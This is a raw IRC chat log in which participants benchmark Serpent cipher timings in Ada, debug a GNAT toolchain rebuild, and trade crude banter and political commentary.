1895621;1550015611;asciilifeform;imho it is a curse on programming folx, that spackling seems to work as well as it does, really it is the equiv of eating 'tasty' pb paint chips, leads to grief always 1895622;1550015687;asciilifeform;( for aficionados, see also e.g. http://www.loper-os.org/?p=55 ) 1895623;1550015738;asciilifeform;in particular, http://www.loper-os.org/?p=55#selection-21.279-21.806 1895624;1550016078;asciilifeform;asciilifeform often points out that we have buffer overflows on acct of the iron having nfi what 'integer', 'character', 'string', 'code' are , just pushes untagged words around; but it is also the reason why we have e.g. thread deadlocks (on an iron which 'knows' when yer e.g. assigning a variable, deadlock is ~impossible) 1895625;1550019739;feedbot;http://trilema.com/2019/am-o-pula/ << Trilema -- Am o pula 1895626;1550020494;asciilifeform;meanwhile, in n00b school, http://logs.bvulpes.com/asciilifeform?d=2019-2-13#461543 1895627;1550020699;mircea_popescu;hey, good for you. 1895628;1550020884;asciilifeform;am o pula << i automatically recalled the http://btcbase.org/log/2016-06-21#1486093 rhyme 1895629;1550020884;a111;Logged on 2016-06-21 01:18 mircea_popescu: "mult stimate ion caciula, om al muncii fara scula : cit ai degete si limba, legea tarii nu se schimba." 1895630;1550021190;mircea_popescu;hehe. 1895631;1550021219;mircea_popescu;in ro the expression'd be rather negative, "i got nothing". cuz "o pula" works also as universal negation, "do you have any money ?" "i got dick" 1895632;1550021277;asciilifeform;it's funny , when asciilifeform went to 'museum of communism' in timis, pawed through buncha ancient lulzlit there, and photo'd 'a la minox' to read through laters and chew on the 'limba de lemn' 1895633;1550021385;asciilifeform;( so far impression is, roughly similar to '80s su, tho with ~less~ obv. leakage of suppressed laffter through the pg , oddly , i expected moar ) 1895634;1550021430;asciilifeform;mircea_popescu: negation << >> 'нет ни хуя' etc 1895635;1550021431;asciilifeform;worx same. 1895636;1550021435;mircea_popescu;kinda hard to quantify 1895637;1550021514;asciilifeform;or 'fuck no you won't find' ~= хуй найдешь 1895638;1550021517;asciilifeform;etc 1895639;1550021589;asciilifeform;or, say, pelevin's orcs sing their 'traditional folk song', 'Из этой жопы хуй уедешь' 1895640;1550021608;asciilifeform;(~= 'the fuck you'll ever leave this shithole') 1895641;1550021644;*;asciilifeform 1 day will post his engl. riff on subj, tailored for his particular shithole 1895642;1550021648;*;asciilifeform brb,meats 1895643;1550021771;*;mircea_popescu looks forward lol 1895644;1550027254;mircea_popescu;BingoBoingo do you happen to recall a trilema article about some moronic "pick up artist" and his tedious adventure getting some 17yo i think it was to sorta-take it, after half a day of pigeoning ? 1895645;1550027262;mircea_popescu;might've been http://btcbase.org/log/2015-02-02#1002258 dork, but i can't fucking find no trace of it. 1895646;1550027262;a111;Logged on 2015-02-02 06:39 mircea_popescu: Daryush Valizadeh,[1] (born June 14, 1979)[2] also known as Roosh V and Roosh Vorek, is an American[3] writer, pick-up artist[4][5] and self-styled "love tourist"[6] of Iranian and Armenian descent,[7] known for his writings on seduction and antifeminism. 1895647;1550027431;hanbot;mircea_popescu dyou mean http://trilema.com/2018/in-which-a-bizarre-character-wanks-it/ ? 1895648;1550027476;mircea_popescu;ah ty! 1895649;1550027482;mircea_popescu;for some reason i never named him in there. 1895650;1550033474;*;asciilifeform remembers the roosh-v d00d, but for something quite else, iirc it was him who at one pt had asciilifeform's www linked as -- insultingly but lulzily -- 'the mencius moldbug of computing' 1895651;1550033487;asciilifeform;(this was prior to mold going public re his 'kompyooting' ) 1895652;1550033564;asciilifeform;i had nfi he was a proud , eh, son of persia 1895653;1550034116;asciilifeform;http://trilema.com/2018/in-which-a-bizarre-character-wanks-it/#selection-541.3-553.157 << i always thought this was obv, and find it brainfucking that anybody dungetit 1895654;1550034619;mircea_popescu;i dunno, somehow it ain't easy to compute 1895655;1550034691;mircea_popescu;somehow the whole http://btcbase.org/log-search?q=from%3Amircea+%22opposable%22 slash http://btcbase.org/log-search?q=from%3Amircea+%22opposability%22 item just not native to most heads. 1895656;1550034695;asciilifeform;what's hard to compute tho. you put sumthing on www, erry 2bit spamplagiarismbot mirrors it in 10sec, not even speaking of actual humans laffing 1895657;1550034706;*;asciilifeform bbl,meats 1895658;1550036422;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-july-august-and-september-1716-part-vi/ << Bimbo.Club -- Philosophical Transactions. For the months of July, August and September, 1716. - Part VI. 1895659;1550054174;diana_coman;http://btcbase.org/log/2019-02-12#1895610 -> fwiw the thing is..still running given the full set of loops 1895660;1550054174;a111;Logged on 2019-02-12 23:41 mircea_popescu: i'm still waiting for diana_coman to return. 1895661;1550054311;diana_coman;I think a gradual approach (i.e. run it & record results gradually increasing the number of loops) might be useful meanwhile 1895662;1550054440;diana_coman;so I'll post the testing code with full set of loops in a bit and then go and set up another run too 1895663;1550056485;diana_coman;basic test including serpent + test project with full set of loops : ossasepia.com/available_resources/ljmp_test.tar 1895664;1550067738;asciilifeform;diana_coman: day+ ?! is this just 1 shot of benchmark, or many ? 1895665;1550067794;asciilifeform;imho whole day is a bit of overkill if for ~one~ shot.. 1895666;1550067878;diana_coman;asciilifeform, one! and look here at times: 1 loop -> 0.000168893 s ; 2 loops -> 0.007213758 s ; 3 loops -> 0.351611073 s ; 4 loops -> 17.74 s ; 5 loops-> 879.95 s 1895667;1550067919;diana_coman;hence my original only 3 loops really; but mircea_popescu asked for the full set of 23 loops so there it is, still running 1895668;1550067955;diana_coman;for completeness: the set of data above is from a different machine hence a bit faster than those of yest 1895669;1550068006;diana_coman;5 loops is already 15 minutes and ftr 6 loops is still running on that machine as we speak - by the looks of it, it'll be more than 1 hour 1895670;1550068202;diana_coman;it's of course not exactly surprising, given that one goes from 50 serpent executions to 50mn rather quickly 1895671;1550068237;mircea_popescu;diana_coman darn, i utterly miscalculated it. does 1895672;1550068242;mircea_popescu;!Qcalc 49 ^ 21 1895673;1550068242;lobbesbot;mircea_popescu: Error: Something in there wasn't a valid number. 1895674;1550068248;mircea_popescu;!Qcalc 49 ** 21 1895675;1550068248;lobbesbot;mircea_popescu: 311973482284542380586661606802325504 1895676;1550068265;mircea_popescu;diana_coman you'll have to abort it, reduce the loops significantly. sorry bout that. 1895677;1550068270;diana_coman;np 1895678;1550068271;mircea_popescu;!Qcalc 4 ** 21 1895679;1550068272;lobbesbot;mircea_popescu: 4398046511104 1895680;1550068276;mircea_popescu;!Qcalc 2 ** 21 1895681;1550068277;lobbesbot;mircea_popescu: 2097152 1895682;1550068285;mircea_popescu;!Qcalc 3 ** 10 1895683;1550068285;lobbesbot;mircea_popescu: 59049 1895684;1550068293;mircea_popescu;nuts. 1895685;1550068332;diana_coman;see the timings above for 1-4 loops for some concrete idea 1895686;1550068333;mircea_popescu;diana_coman a through j ; for 1 to 10 mod 4 plox. 1895687;1550068355;mircea_popescu;i might be the weakest person in the world for basic arithmetics. 1895688;1550068364;diana_coman;ah; why 10 mod 4 and not ..hm, 6? 1895689;1550068376;diana_coman;uhm, 2 1895690;1550068383;mircea_popescu;diana_coman idea was to go twice per loop, rather than 1nce. 2 will go in too many times still 1895691;1550068400;diana_coman;ah, so if a mod 4 = 0 you mean 1895692;1550068402;diana_coman;right 1895693;1550068406;mircea_popescu;yeah 1895694;1550068417;diana_coman;from 1 to 10; if mod 4; got it 1895695;1550068449;*;mircea_popescu is very sorry about wasting a day. coulda done 30 seconds of figuring numbers BEFORE just as well. 1895696;1550068750;diana_coman;a to j aka 10 loops from 1 to 10 only and then with if mod 4 -> 0.000855 s (no long jmp) 1895697;1550068763;diana_coman;on the slower machine too 1895698;1550068782;mircea_popescu;this is remarkably fast! 1895699;1550068803;mircea_popescu;!Qcalc 0.000168893 / 50 1895700;1550068803;lobbesbot;mircea_popescu: 3.37786e-06 1895701;1550068819;mircea_popescu;!Qcalc 0.007213758 / (50**2) 1895702;1550068819;lobbesbot;mircea_popescu: 2.8855032e-06 1895703;1550068833;mircea_popescu;!Qcalc 0.351611073 / (50**3) 1895704;1550068833;lobbesbot;mircea_popescu: 2.812888584e-06 1895705;1550068840;mircea_popescu;!Qcalc 17.74 / (50**4) 1895706;1550068840;lobbesbot;mircea_popescu: 2.8384e-06 1895707;1550068852;mircea_popescu;!Qcalc 879.95 / (50**5) 1895708;1550068852;lobbesbot;mircea_popescu: 2.81584e-06 1895709;1550068879;mircea_popescu;mkay. 1895710;1550068887;mircea_popescu;!Qcalc (50**5) 1895711;1550068887;lobbesbot;mircea_popescu: 312500000 1895712;1550068895;mircea_popescu;!Qcalc (2**21) 1895713;1550068895;lobbesbot;mircea_popescu: 2097152 1895714;1550068895;diana_coman;trouble is that it might be too fast for the sort of timing precision we have 1895715;1550068901;mircea_popescu;!Qcalc (3**23) 1895716;1550068901;lobbesbot;mircea_popescu: 94143178827 1895717;1550068905;mircea_popescu;!Qcalc (2**23) 1895718;1550068905;lobbesbot;mircea_popescu: 8388608 1895719;1550068960;mircea_popescu;diana_coman seems it stabilizes after 3 loops or so, if you look, it's within a few % with .007s and pretty much there at 0.35s 1895720;1550068984;mircea_popescu;diana_coman try whole 23 loops, same 1 to 10 mod 4 plox ? 1895721;1550069022;*;diana_coman will try 1895722;1550069025;mircea_popescu;turns out a serpent takes about 2.8 microseconds. 1895723;1550069140;diana_coman;1.259 s 1895724;1550069157;mircea_popescu;asciilifeform i think her work above provides us with some useful data : it turns out it is reasonable to expect timings converge for measured intervals of at least 1/3 of a second, on the basis of the above. 1895725;1550069163;mircea_popescu;diana_coman imo perfect. now do lj 1895726;1550069181;mircea_popescu;!Qcalc 1.259 / (2**23) 1895727;1550069181;lobbesbot;mircea_popescu: 1.50084495544e-07 1895728;1550069188;mircea_popescu;!Qcalc 1.259 / (2**21) 1895729;1550069188;lobbesbot;mircea_popescu: 6.00337982178e-07 1895730;1550069193;diana_coman;given that it's still not that long, I'd do at least an avg 1895731;1550069198;mircea_popescu;diana_coman how the fuck many loops are there ? 22 ? 1895732;1550069215;mircea_popescu;diana_coman i think it's plenty long. why not long ? 1895733;1550069225;diana_coman;from a to v? 22 1895734;1550069231;mircea_popescu;!Qcalc 1.259 / (2**22) 1895735;1550069231;lobbesbot;mircea_popescu: 3.00168991089e-07 1895736;1550069251;mircea_popescu;there's something amiss here. 1895737;1550069279;diana_coman;because the clock thing is not very precise; on 4 runs of same thing I got: 1.25, 1.27, 1.29, 1.28 1895738;1550069298;mircea_popescu;diana_coman the problem is this : on the basis of this last run, we're estimating serpent to take 0.3 microseconds. 1895739;1550069312;mircea_popescu;on the basis of the previous timings you reported, we estimated it ~2.8 microseconds 1895740;1550069326;mircea_popescu;this is degree of magnitude off, somehow. wanna walk through the math with me ? 1895741;1550069333;diana_coman;and both of them are likely to be more due to measurement error 1895742;1550069347;diana_coman;wait, what? 1895743;1550069353;diana_coman;0.3 vs 2.8? ugh 1895744;1550069359;mircea_popescu;except the other set converged, look : 3.37786e-06 2.8855032e-06 2.812888584e-06 2.8384e-06 2.81584e-06 1895745;1550069378;mircea_popescu;for 1, 2, 3, 4, 5 loops respectively as reported in http://btcbase.org/log/2019-02-13#1895666 1895746;1550069378;a111;Logged on 2019-02-13 14:24 diana_coman: asciilifeform, one! and look here at times: 1 loop -> 0.000168893 s ; 2 loops -> 0.007213758 s ; 3 loops -> 0.351611073 s ; 4 loops -> 17.74 s ; 5 loops-> 879.95 s 1895747;1550069397;mircea_popescu;is this faux convergence then ? 1895748;1550069418;diana_coman;can't quite tell tbh 1895749;1550069425;mircea_popescu;ok, but indulge me : 1895750;1550069450;*;diana_coman will need to leave for about 1 hr in ~5min time but will read 1895751;1550069459;mircea_popescu;we are currently entering the loop twice, and we enter a total of 22 loops. therefore the number of times serpent is run is 2 ^ 22. 1895752;1550069465;mircea_popescu;a ok. 1895753;1550069579;diana_coman;that much sounds good 1895754;1550069586;*;diana_coman wil bbl 1895755;1550070806;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-july-august-and-september-1716-part-iv/ << Bimbo.Club -- Philosophical Transactions. For the months of July, August and September, 1716. - Part IV. 1895756;1550071330;*;asciilifeform tried to unravel wtf was found here 1895757;1550071334;asciilifeform;*tries 1895758;1550071433;asciilifeform;diana_coman, mircea_popescu : all of above is still just the baseline (no longjmpism) case ? 1895759;1550071519;mircea_popescu;yes. 1895760;1550071547;asciilifeform;based only on above, i suspect a case of http://btcbase.org/log/2019-01-10#1886261 1895761;1550071547;a111;Logged on 2019-01-10 14:08 asciilifeform: aaand to round off : it vanished on the test box also. culprit appears to have been a running raid-verify job... 1895762;1550071568;mircea_popescu;asciilifeform basically, we found i can't math ; that aside, we found that in one context serpent takes ~3us, and in another ~0.3us. 1895763;1550071571;asciilifeform;diana_coman , when come back, plox to briefly describe the box 1895764;1550071604;mircea_popescu;do me a favour first and let's nail the numbers down. so, for 1 to 100 if mod 2 results in the loop being run 50 times ? or 49 ? 1895765;1550071633;mircea_popescu;http://p.bvulpes.com/pastes/YaMpS/?raw=true << code snippet. 1895766;1550071725;asciilifeform;mircea_popescu: 50 1895767;1550071728;asciilifeform;how else 1895768;1550071737;asciilifeform;there are 50 even #s b/w 1 and 100 incl. 1895769;1550071769;mircea_popescu;alright. and if there's 22 for loops, this means the correct count of "how many times serpent is run" is 50 ^ 22 then ? 1895770;1550071840;asciilifeform;in the pasted snippet, each outer loop multiplies the shots of inner by 50 1895771;1550071860;asciilifeform;so yes if you make 22, then 50 ^ 22 1895772;1550071886;mircea_popescu;so then what the fuck. 1895773;1550071887;asciilifeform;that's quite a few, even if you had nuffin in the middle of it 1895774;1550071936;mircea_popescu;right. point being, she did 1 to 5 loop sets of that, and the values converged. 1895775;1550071943;mircea_popescu;then they suddenly diverged by order of magnitude. 1895776;1550071978;asciilifeform;i'ma guess box ground to a halt during the 5-loops run, for a spell 1895777;1550071991;asciilifeform;( why -- cannot say until diana_coman returns with brief description of the irons ) 1895778;1550072064;mircea_popescu;asciilifeform incidentally and unrelatedly, since i'm fixing this other article : do you happen to recall the trilema piece where "middle age crisis" ie, dood getting rid of older wife hooking up with younger girl is explained in terms of "well, she won't be as fucking annoying" ? 1895779;1550072142;asciilifeform;mircea_popescu: possibly was 'the peak of insanity' 1895780;1550072426;*;asciilifeform doesn't like benchmarks where 1 shot takes moar than coupla min, for the reason that unix box is a shitfest, liable to decide 'hey nao is the time to munge the fs' etc. and suddenly eat cpu for multiple min, whenever 1895781;1550072477;asciilifeform;if yer proggy takes >=12h, this is certain to happen, it'll run up against cron 1895782;1550072500;asciilifeform;( depending on what you got in there ) 1895783;1550072579;mircea_popescu;asciilifeform note that a set of up to 200s converged, and then a 1 1/4 s item diverged. 1895784;1550072658;mircea_popescu;http://trilema.com/2011/barbati-si-copile/ << found it ; was ro which is why it had "disappeared" 1895785;1550072666;asciilifeform;ha 1895786;1550072693;asciilifeform;mircea_popescu: this is why i like 'run 9000 shots, and discard outliers' (granted this only applies when the item is expected to go in constant time, goes without saying) 1895787;1550072832;*;asciilifeform brb,teatime 1895788;1550072866;mircea_popescu;anyway, she'll be back momentarily and we'll dig into it smore. 1895789;1550073996;mircea_popescu;did i ever link the obvious http://trilema.com/2018/post-malone/#selection-79.0-205.38 answer to the obvious if commonplace http://btcbase.org/log/2019-01-03#1884205 idiocy ? i think not, and it'd be a waste. 1895790;1550073996;a111;Logged on 2019-01-03 19:24 stratum: Right now, for the billions, I think it is probably better than nothing, just like easily popped household locks. 1895791;1550075017;mircea_popescu;meanwhile in unrelated lulz, http://trilema.com/2014/website-thou-art-lol/#selection-423.92-423.100 (believe it or not, "affirmed" is a term of art in the context, that's how cuntmagic works, by "affirmation".) 1895792;1550075358;mircea_popescu;well now i have to step out ; diana_coman do some more experiments, get some more data, we gotta figure out wtf this is. 1895793;1550076688;feedbot;http://qntra.net/2019/02/work-verification-spyware-on-its-way-to-mandatory-in-us-slave-empire/ << Qntra -- "Work Verification" Spyware On Its Way To Mandatory In US Slave Empire 1895794;1550078666;diana_coman;mircea_popescu, I think it was a mis-communication really 1895795;1550078691;diana_coman;I got stuck here in traffic earlier too, hence my being late, sorry; 1895796;1550078748;diana_coman;anyways, back to it: for one thing you were comparing there numbers from different machines and I get the impression you got the "4 runs" in the 2nd report to mean different loops while they were not (it was same thing, repeated) 1895797;1550078856;*;diana_coman goes to write this down properly alreayd 1895798;1550082940;diana_coman;mircea_popescu, I found the key misunderstanding there (in addition to comparing different machines and all that): the 1.25value is when serpent is fully optimised for time i.e. it goes from ~8s to 1.25 for full 22 loops 1..10, mod 4; sorry for the confusion there, I was still in exploration mode. 1895799;1550082979;asciilifeform;diana_coman: plox clarify what means 'fully optimized for time' here 1895800;1550082994;diana_coman;Serpent has pragma Optimize(Time) 1895801;1550083007;diana_coman;gprbuild accepts levels of optimization via -O flag 1895802;1550083020;asciilifeform;aaa 1895803;1550083032;diana_coman;with no optimization (or -O0 iirc) it's ~8s; with -O3 it's 1.25s 1895804;1550083044;asciilifeform;i assumed you used same flags for all shots 1895805;1550083118;asciilifeform;( ftr all 'canonical' ffa tests are built with o2 : http://btcbase.org/patches/ffa_ch16_miller_rabin.kv/tree/ffa/libffa/ffa.gpr#L56 ) 1895806;1550083238;diana_coman;at that specific shot I was exploring esp given the previous issue of "too long time" 1895807;1550083272;diana_coman;anyways, I'll compile the dataset and publish it in a bit 1895808;1550083304;asciilifeform;historically i found that o3 is moar or less unusable for benchmarking anyffin, it risks to 'optimize away' unexpected pieces ( for instance, quite possibly your loop-and-mod-2 ) 1895809;1550083325;diana_coman;bc exploring I went http://btcbase.org/log/2019-02-13#1895742 and I was getting confused too but anyways 1895810;1550083325;a111;Logged on 2019-02-13 14:49 diana_coman: wait, what? 1895811;1550083352;diana_coman;aha, all benchmarking and data will be without any optimization 1895812;1550084490;feedbot;http://qntra.net/2019/02/chase-bank-inexplicably-severing-relationship-with-fellow-who-happens-to-lead-mens-fraternal-organization/ << Qntra -- Chase Bank Inexplicably Severing Relationship With Fellow Who Happens To Lead Men's Fraternal Organization 1895813;1550084743;asciilifeform;'Tarrio believes that unless President Donald Trump steps in, the de-platforming and dehumanizing of conservatives will continue. “He needs to step in, not only because if he doesn’t he will lose in 2020 with all of his supporters being kicked off social media, but because it’s the right thing to do,” Tarrio finishes.' << lol!! 1895814;1550084777;asciilifeform;'Facebook, Twitter and Google are actively restricting conservative content through biased algorithms. Silicon Valley doesn't want you to read our articles. Bypass the censorship, sign up for our newsletter now!' << BingoBoingo write'em a mail ? 1895815;1550084876;BingoBoingo;Sure, will get to writing 1895816;1550085239;asciilifeform;ty BingoBoingo 1895817;1550090433;feedbot;http://qntra.net/2019/02/us-air-force-intelligence-specialist-officers-2013-defection-to-iran-revealed-in-indictment/ << Qntra -- US Air Force "Intelligence Specialist" Officer's 2013 Defection To Iran Revealed In Indictment 1895818;1550090533;BingoBoingo;^ Mega Lulz 1895819;1550090603;BingoBoingo;While Snowden was defecting to no where in particular, it turns out other people were defecting to somewhere 1895820;1550090983;asciilifeform;'the Cyber Conspirators created a Facebook account that purported to belong to a USIC employee and former colleague of Witt, and which utilized legitimate information and photos from the USIC employee’s actual Facebook account. This particular fake account caused several of Witt’s former colleagues to accept “friend” requests' << lol! defectors aint what they usedto be... 1895821;1550091219;*;asciilifeform spend yrs in the unfortunate company of erry known species of usgtard , and came to conclusion that the principal 'limiting reactant' for defections is... they ain't got where to. ~nobody outside the amerigulag needs ~any of'em for anyffin. 1895822;1550091333;BingoBoingo;asciilifeform: Well, hard to say from here what seekrits she handed over that they don't want to print. Hence the focus on Facebook tardism. 1895823;1550091353;asciilifeform;( granted, they also selectively hire for this, even so much as having been off the reservation counts against candidate. but this is imho strictly secondary. ) 1895824;1550093703;diana_coman;ave1 or anyone else more experienced in rebuilding ave1's gnat with a previous incarnation of same: I'm trying to build using the scripts in ada-musl-cross-2018-09-24.tgz on a machine that has as only existing and perfectly working !) gnat a previous ave1 gnat version; I ran as the readme says simply ./build-ada.sh absolute_path_to_dir but the whole thing fails because it doesn't find some libs such as libgmp.la; a closer look at the outpu 1895825;1550093703;diana_coman;t shows that it is looking for them in the wrong place and more specifically in the place where they were on the previous system where the working gnat was built! so hm, where and why does it store that path and how do I point it correctly? 1895826;1550093735;diana_coman;I'm trying to rebuild it because current build doesn't have sjlj 1895827;1550093773;BingoBoingo;In other updates, selection working on Pizarro wordpress. Copy on the main page http://pizarroisp.net/#selection-65.0-119.32 contact page http://pizarroisp.net/contact/#selection-11.0-23.151 with ARM Server page added http://pizarroisp.net/arm-dedicated-servers/ 1895828;1550093847;BingoBoingo;More to be done on the website, but ready to move on to writing that email to the dissidents for asciilifeform 1895829;1550093880;asciilifeform;diana_coman: this is quite puzzling, esp. since i've built ave1's gnat on 1 box, and since copied to handful of others, on each into an entirely diff dir 1895830;1550093885;asciilifeform;( and all run ) 1895831;1550093898;diana_coman;the script to rebuild ran? 1895832;1550093908;asciilifeform;this, not tested except on orig 1895833;1550093910;diana_coman;or gnat itself? because gnat itself runs /ran perfectly fine, yes 1895834;1550093915;asciilifeform;aa hrm. 1895835;1550093919;diana_coman;hence only now I ran into this puzzler 1895836;1550094002;diana_coman;since it seems it'll take a while until I can add to my data the numbers for sjlj on ave1's gnat as well, here's what I have so far: http://p.bvulpes.com/pastes/1esL2/?raw=true 1895837;1550094016;asciilifeform;diana_coman: this may even be the culprit behind ( still unresolved afaik ) http://btcbase.org/log/2018-06-03#1820460 1895838;1550094016;a111;Logged on 2018-06-03 22:27 asciilifeform: !Q later tell ave1 http://p.bvulpes.com/pastes/J7Aey/?raw=true << amd64 gnat dun build on arm64. 1895839;1550094032;asciilifeform;( asciilifeform was not able to build a working x64 gnat from the arm64 gnat ) 1895840;1550094101;diana_coman;I guess until now I always built ave1's gnat on a machine that had adacore's gnat installed with all the paths to libs like that quite standard so possibly that's why it never failed 1895841;1550094148;asciilifeform;defo sounds like 1 or moar of his built bins aint static 1895842;1550094241;diana_coman;it seems to me that it's just a path/configure that remains /is carried over from where the gnat was built 1895843;1550094421;diana_coman;specifically, here's an example (with the path marked by me for clarity): build/build-bootstrap/gcc-4.9.adacore2016/build1/mpc/src/libmpc.la:dependency_libs=' OLD_PATH/lib/libgmp.la NEW_PATH_CORRECT/lib/libgmp.la' 1895844;1550094432;asciilifeform;http://p.bvulpes.com/pastes/lQaIw/?raw=true << ftr 1895845;1550094444;asciilifeform;( i thought i checked this prior, but apparently not; no dynamics bins tho ) 1895846;1550094463;asciilifeform;aah so hardcoded path, hrm 1895847;1550094503;diana_coman;yes and moreover weirdly enough it DOES have the correct one too, but it comes only after the wrong/old one and so it fails 'cause it can't find that 1895848;1550094517;asciilifeform;diana_coman: on the old gnat -- seems like 0 detectable diff b/w the variants ?! 1895849;1550094531;diana_coman;possibly, hm 1895850;1550094574;asciilifeform;whythefuq do they even include, the gimped 'zcx' variant, then.. ( aside from http://btcbase.org/log/2019-02-12#1895611 isms) 1895851;1550094574;a111;Logged on 2019-02-12 23:41 asciilifeform: ( aside for weirdo 1970s chips with no interrupts... ) 1895852;1550094754;asciilifeform;!#seen ave1 1895853;1550094754;a111;2019-02-03 do you have an error log? 1895854;1550094806;diana_coman;coming back to http://btcbase.org/log/2019-02-13#1895807 aka http://p.bvulpes.com/pastes/1esL2/?raw=true if it converges, it seems to be diff on diff machines+diff gnat; I might note also ftr that the times there on very short runs (i.e. a few loops) are not reliable ; other than that though, so far with this test there doesn't seem to be much penalty on having sjlj 1895855;1550094806;a111;Logged on 2019-02-13 18:41 diana_coman: anyways, I'll compile the dataset and publish it in a bit 1895856;1550094825;asciilifeform;why would you even compare b/w diff machines. 1895857;1550094836;diana_coman;grrr, I did NOT compare between diff machines 1895858;1550094859;asciilifeform;hrm, how do i read 'it seems to be diff on diff machines+diff gnat' 1895859;1550094892;diana_coman;there was the earlier mess-up with the 2 datasets hence my current stress of the fact, that's all 1895860;1550094901;*;asciilifeform not picking on diana_coman out of sadism, simply had nfi how to parse that line 1895861;1550094920;asciilifeform;aa ok 1895862;1550094970;BingoBoingo;asciilifeform: Dispatch sent via hEathenMAIL, content http://p.bvulpes.com/pastes/0crQm/?raw=true 1895863;1550094994;asciilifeform;BingoBoingo: imho a++ 1895864;1550095005;diana_coman;sorry, the ref to previous mess wasn't quite clear, you're right 1895865;1550095015;asciilifeform;BingoBoingo: after mircea_popescu nitpicks, perhaps this oughta be used as a template for others 1895866;1550095067;*;diana_coman needs some sleep 1895867;1550095171;asciilifeform;aa its sleep time in diana_comanistan aint it 1895868;1550095185;diana_coman;at least there are no more surprises of huge differences in timings; but I'd still test also with some exception handling since that's supposed to slow sjlj down 1895869;1550095200;asciilifeform;as i understand that's the 1 thing that's expected to slow 1895870;1550095230;diana_coman;asciilifeform, it's been a bit of a long day too, sorry; strictly speaking you are in fact right there: that line compares them yes,if only to stress that "ofc they are different" 1895871;1550095271;asciilifeform;diana_coman: sleep, and i expect the output will come out before you wake up. meanwhile i'ma see if i can figure out wtf re the paths. 1895872;1550095298;diana_coman;the output? 1895873;1550095305;asciilifeform;of the remaining runs 1895874;1550095314;asciilifeform;( or are these on hold pending gnat rebuild ? ) 1895875;1550095352;diana_coman;on hold atm since a. for sjlj on smg.test yes, need gnat rebuild b. for the rest it's unclear if it's worth to run or which ones so rather pending mircea_popescu feedback 1895876;1550095357;asciilifeform;aaa ok 1895877;1550095451;diana_coman;re paths I suppose a simple grep -r "libmpc" would show perhaps duplicates if nothing else? 1895878;1550095475;diana_coman;i.e. where/if the trouble is not somehow just on my machine (though I got it on 2 machines...) 1895879;1550095502;asciilifeform;the only hit is x86_64-linux-musl/share/info/mpc.info -- a readme 1895880;1550095519;asciilifeform;( in the built gnat ) 1895881;1550095615;diana_coman;well, that doesn't have the scripts too, does it? 1895882;1550095627;asciilifeform;no, and i'ma look on the build box 1895883;1550095630;diana_coman;it would have at most the path I suppose, if it's hardcoded somewhere 1895884;1550095640;*;asciilifeform will come back to this puzzler; presently bbl (meat) 1895885;1550095660;diana_coman;no hurry, I'll get back to it tomorrow morning anyway 1895886;1550100908;mircea_popescu;http://btcbase.org/log/2019-02-13#1895803 << well ok but mixing like that's not going to get us anywhere. 1895887;1550100908;a111;Logged on 2019-02-13 18:37 diana_coman: with no optimization (or -O0 iirc) it's ~8s; with -O3 it's 1.25s 1895888;1550100946;mircea_popescu;http://btcbase.org/log/2019-02-13#1895808 << i deliberately wrote it like that because i expect it can not be optimized away. how would this go ? 1895889;1550100946;a111;Logged on 2019-02-13 18:41 asciilifeform: historically i found that o3 is moar or less unusable for benchmarking anyffin, it risks to 'optimize away' unexpected pieces ( for instance, quite possibly your loop-and-mod-2 ) 1895890;1550101009;asciilifeform;mircea_popescu: i since looked, and it doesn't 1895891;1550101021;mircea_popescu;aha. 1895892;1550101071;asciilifeform;( ~will~ unroll very small loops, but not applicable to subj ) 1895893;1550101130;mircea_popescu;sure. 1895894;1550101246;mircea_popescu;http://btcbase.org/log/2019-02-13#1895813 << eh, what a fucking stupid idea. nobody wants anything with "social media", let the socialist tards & my bots have it. 1895895;1550101246;a111;Logged on 2019-02-13 19:05 asciilifeform: 'Tarrio believes that unless President Donald Trump steps in, the de-platforming and dehumanizing of conservatives will continue. “He needs to step in, not only because if he doesn’t he will lose in 2020 with all of his supporters being kicked off social media, but because it’s the right thing to do,” Tarrio finishes.' << lol!! 1895896;1550101274;mircea_popescu;write fucking blogs, what "platforming". the sort of cuck that expects "president trump" to make him exist is just an alt-flavour transgender dork. 1895897;1550101291;mircea_popescu;either man up or get the fuck lost (to baluba island) 1895898;1550101394;asciilifeform;mircea_popescu: these folx seem to have a psychiatrically-classical 'царь-батюшка' imaginary friendship w/ trump 1895899;1550101400;mircea_popescu;http://btcbase.org/log/2019-02-13#1895814 << no but see, the thing eminently IS NOT that they have something to say. the thing is, that they misperceive there's a dole going on, that they're excluded from. their idea specifically is very much in the line of http://trilema.com/2011/antreprenorii-sanisedeie/ and so on. 1895900;1550101400;a111;Logged on 2019-02-13 19:06 asciilifeform: 'Facebook, Twitter and Google are actively restricting conservative content through biased algorithms. Silicon Valley doesn't want you to read our articles. Bypass the censorship, sign up for our newsletter now!' << BingoBoingo write'em a mail ? 1895901;1550101432;mircea_popescu;asciilifeform just about. plus a ridoinculous flavour whereby "white sox won cup because i, joe fatass, was screaming in a bar!!!" 1895902;1550101443;mircea_popescu;"so now they owe me" 1895903;1550101464;asciilifeform;possibly someone in that pigsty aint actually a pig tho, and might 'hmm, actual hosting..' 1895904;1550101482;mircea_popescu;http://btcbase.org/log/2019-02-13#1895817 << pretty fucking lulzy. the "platform" / "social media" etc was SUCH A SUCCESS, for the first time in history us brass defecting to fucking iran. 1895905;1550101482;a111;Logged on 2019-02-13 20:40 feedbot: http://qntra.net/2019/02/us-air-force-intelligence-specialist-officers-2013-defection-to-iran-revealed-in-indictment/ << Qntra -- US Air Force "Intelligence Specialist" Officer's 2013 Defection To Iran Revealed In Indictment 1895906;1550101566;mircea_popescu;asciilifeform you will absolutely not get anywhere for as long as you continue with the braindamaged approach of trying to talk to their self-appointed "gatekeepers". do not talk to weev or w/e, http://btcbase.org/log/2017-12-22#1756992 braindamage ; talk to the individual individuals,. 1895907;1550101566;a111;Logged on 2017-12-22 17:18 weevlos: trinque: we are a media publication. our power and capital comes from the number of visitors we have to the site. we aim to transform through culture. if normal people cannot visit our site we are not accomplishing our goal 1895908;1550101605;asciilifeform;mircea_popescu: plox to expand this binomial for asciilifeform -- who are 'the individuals' ? 1895909;1550101609;mircea_popescu;i understand why the "i'd like to talk to as few people as possible" is appealing to the fucktard^H engineer mindset. nevertheless, the only way to win this is to have the decisionmaking atomized as much as possible. 1895910;1550101717;mircea_popescu;http://btcbase.org/log/2018-12-12#1880336 for the like n-th time. 1895911;1550101717;a111;Logged on 2018-12-12 19:26 mircea_popescu: i expect if attempted it'll immediately run into the same problem pizarro is encountering, whereas bois will do ANYTHING WHATSOEVER, no matter how patently 